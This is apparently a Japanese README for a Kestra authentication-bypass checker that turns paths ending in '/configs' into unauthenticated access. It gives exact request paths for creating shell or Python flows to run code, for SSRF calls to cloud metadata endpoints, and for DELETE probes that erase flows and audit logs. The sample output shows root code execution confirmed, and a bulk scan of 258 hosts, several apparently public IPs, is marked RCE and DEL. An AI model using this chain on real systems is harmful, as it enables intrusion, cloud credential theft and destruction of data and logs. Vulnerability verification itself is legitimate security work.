
Kestra 認証バイパス脆弱性チェッカー
Kestraインスタンスをスキャンし、endsWith("/configs") による認証フィルターのバイパスをチェックします。Kestraの AuthenticationFilter.java は、正確なパス /api/v1/configs と比較する代わりに request.getPath().endsWith("/configs") でチェックを行うため、呼び出し側が選択可能なパスセグメント(名前空間、フローID)を介してアドレス指定されるリソースに対し、/configs で終わる任意のパスでBasic認証をバイパスし、認証なしでのフロー作成とRCEを可能にします(CVSS 10.0)。
参照:
GET /api/v1/configs(200が返ること。レスポンスボディからKestraのバージョンを解析)GET /api/v1/{tenant}/flows(認証が有効なら401/403が返ること)/configs で終わるパスに対する6つのGETリクエスト。認証チェックが有効であるにもかかわらず、いずれかが401/403以外を返した場合、インスタンスは脆弱と判断--aggressive)では、書き込みバイパスの可否を確認するためPUTリクエストも送信--rce)全チェーン: シェル/Pythonフロー作成 → 実行トリガー → ログ取得 → コード実行確認 → クリーンアップ--ssrf)Pebbleの http() を使用してAWS/GCP/Azureのクラウドメタデータおよび内部エンドポイントをターゲットとするフローを作成し、ログから証拠を確認--destructive)フロー、ダッシュボード、ログのバイパスパスにDELETEを送信し、破壊的操作バイパスを確認| プローブ | メソッド | パス | 説明 |
|---|---|---|---|
| 公開設定 | GET | /api/v1/configs | 生存確認+バージョン抽出 |
| 保護された通常パス | GET | /api/v1/{tenant}/flows | 認証適用ベースライン |
| フローバイパス | GET | /api/v1/{tenant}/flows/{namespace}/configs | フロー一覧バイパス |
| 実行バイパス | GET | /api/v1/{tenant}/executions/{namespace}/configs | 実行バイパス |
| KVストアバイパス | GET | /api/v1/{tenant}/namespaces/{namespace}/kv/configs | KV読み取りバイパス |
| ダッシュボードバイパス | GET | /api/v1/{tenant}/dashboards/configs | ダッシュボードバイパス |
| ログバイパス | GET | /api/v1/{tenant}/logs/{namespace}/configs | ログアクセスバイパス |
| テンプレートバイパス | GET | /api/v1/{tenant}/templates/{namespace}/configs | テンプレート読み取りバイパス |
--aggressive)| プローブ | メソッド | パス | 説明 |
|---|---|---|---|
| フローPUTバイパス | PUT | フローバイパスと同じ | 最小限の debug.Return フローを作成 |
| KV PUTバイパス | PUT | KVバイパスと同じ | KVエントリ {"scanned": true} を作成 |
--destructive)| プローブ | メソッド | パス | 説明 |
|---|---|---|---|
| フローDELETEバイパス | DELETE | フローバイパスと同じ | "configs" という名前のリソースを削除 |
| ダッシュボードDELETEバイパス | DELETE | ダッシュボードバイパスと同じ | "configs" という名前のダッシュボードを削除 |
| ログDELETEバイパス | DELETE | ログバイパスと同じ | 監査ログを破棄 |
--rce)認証バイパスが確認された場合のみ実行。アドバイザリからの完全チェーン:
| ステップ | メソッド | パス | 説明 |
|---|---|---|---|
| 1. RCEフロー作成 | PUT | /api/v1/{tenant}/flows/{namespace}/configs | io.kestra.plugin.scripts.shell.Commands でフローをデプロイ(echo <marker>, id, hostname)。失敗時は io.kestra.plugin.scripts.python.Script にフォールバック |
| 2. 実行トリガー | POST | /api/v1/{tenant}/executions/{namespace}/configs | バイパスパス経由でフローを開始 |
| 3. ログポーリング | GET | /api/v1/{tenant}/logs/search?executionId=<id> | --poll-retries 回(デフォルト10)まで、--poll-interval 秒(デフォルト3)ごとにポーリングし、一意のRCEマーカーを検索 |
| 4. クリーンアップ | DELETE | ステップ1と同じ | デプロイしたフローを削除 |
--ssrf)認証バイパスが確認された場合のみ実行:
| ステップ | メソッド | パス | 説明 |
|---|---|---|---|
| 1. SSRFフロー作成 | PUT | /api/v1/{tenant}/flows/{namespace}/configs | Pebbleの http() を使い、AWS(169.254.169.254/latest/meta-data/ami-id)、GCP(metadata.google.internal)、Azure(169.254.169.254/metadata/instance)、内部(127.0.0.1:8080/api/v1/configs)を呼び出す debug.Return タスクをデプロイ |
| 2. 実行トリガー | POST | RCEステップ2と同じ | フローをトリガー |
| 3. ログポーリング | GET | /api/v1/{tenant}/logs/search?executionId=<id> | クラウドメタデータの兆候(ami-, i-, 169.254.169.254, metadata.google.internal など)を確認 |
| 4. クリーンアップ | DELETE | ステップ1と同じ | デプロイしたフローを削除 |
positional:
target 単一ターゲットURL(例: http://localhost:8080)
options:
-f, --file ターゲットリストファイル(1行1ターゲット)
-t, --timeout リクエストタイムアウト(秒、デフォルト: 10)
--verify-ssl TLS証明書を検証
-j, --json 標準出力にJSONを出力
-o, --output JSONレポートをファイルに書き込み
--tenant テナント名(デフォルト: "main")
--namespace バイパスパス用名前空間(デフォルト: "tutorial")
-w, --workers 一括スキャンのスレッド数(デフォルト: 10)
-a, --aggressive PUTリクエストを送信して書き込みバイパスを確認
-P, --auto-ports 自動拡張用ポート(デフォルト: 8080 8081 8088 8091 80 443)
advanced probes:
-r, --rce RCE検証チェーンを有効化(シェル+Pythonフロー、実行トリガー、ログ取得、自動クリーンアップ)
-s, --ssrf SSRF検出を有効化(Pebble http() によるクラウドメタデータエンドポイントへの呼び出し、ログベースの証拠収集)
-d, --destructive DELETEプローブを有効化(フロー、ダッシュボード、ログに対して。脆弱なインスタンスでリソースを削除します)
--poll-interval RCE/SSRFチェーンでのログポーリング間隔(秒、デフォルト: 3)
--poll-retries RCE/SSRFチェーンでの最大ログポーリング試行回数(デフォルト: 10)
プローブごとの詳細(バージョン、RCE、SSRF、DELETEステータスによるエンリッチ)と判定:
====================================================================
Target: http://10.0.0.1:8080
Timestamp: 2026-06-30T12:00:00+00:00
====================================================================
Version: 1.3.20 (AFFECTED)
RCE: CONFIRMED via shell
| SCAN_RCE_a1b2c3d4e5f6
| uid=0(root) gid=0(root) groups=0(root)
SSRF: DETECTED
| Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
DELETE BYPASS: CONFIRMED destructive ops bypass auth
[Flows Bypass]
URL: http://10.0.0.1:8080/api/v1/main/flows/tutorial/configs
Status: 200
Bypass: YES
[Exec Bypass]
URL: http://10.0.0.1:8080/api/v1/main/executions/tutorial/configs
Status: 404
Bypass: No
...
── RCE Verification Chain ──
Flow Create: 201
Exec Trigger: 201
Log Evidence: 200
> SCAN_RCE_a1b2c3d4e5f6
> uid=0(root) gid=0(root) groups=0(root)
Flow Cleanup: 204
── SSRF Detection Chain ──
Flow Create: 201
Exec Trigger: 201
Evidence: 200
Indicators found: ami-, 169.254.169.254, 127.0.0.1:8080
Flow Cleanup: 204
[VULN] Verdict: VULNERABLE ...
====================================================================
RCE/SSRF/DELフラグ列を含むソート済み表形式:
========================================================================================================================================
BULK SCAN SUMMARY GHSA-5vc5-wxxq-3fjx | CVE-2026-49869 / CVE-2026-53576
========================================================================================================================================
# Target Auth Flows Exec KV Dash Logs Tmpl RCE SSRF DEL Ver
---------------------------------------------------------------------------------------------------------------------------------------
1 http://173.249.1.26:8080 401 404 ERR ERR ERR 405 404 YES YES YES RCE!
2 http://207.180.207.199:8080 401 404 ERR ERR ERR 405 404 INC - YES VULN
...
30 http://103.115.65.228:8080 401 401 ERR 401 ERR 401 401 - - - SAFE
...
========================================================================================================================================
Total: 258 | Vulnerable: 5 | RCE Confirmed: 1 | SSRF Detected: 1 | DEL Bypass: 2 | Safe: 29 | Inconclusive: 224
========================================================================================================================================
終了コード: 0 = 脆弱性なし、1 = 脆弱性あり、2 = すべて判断不能。
-j または -o を使用すると、ターゲットごとのエンリッチフィールドが出力に含まれます: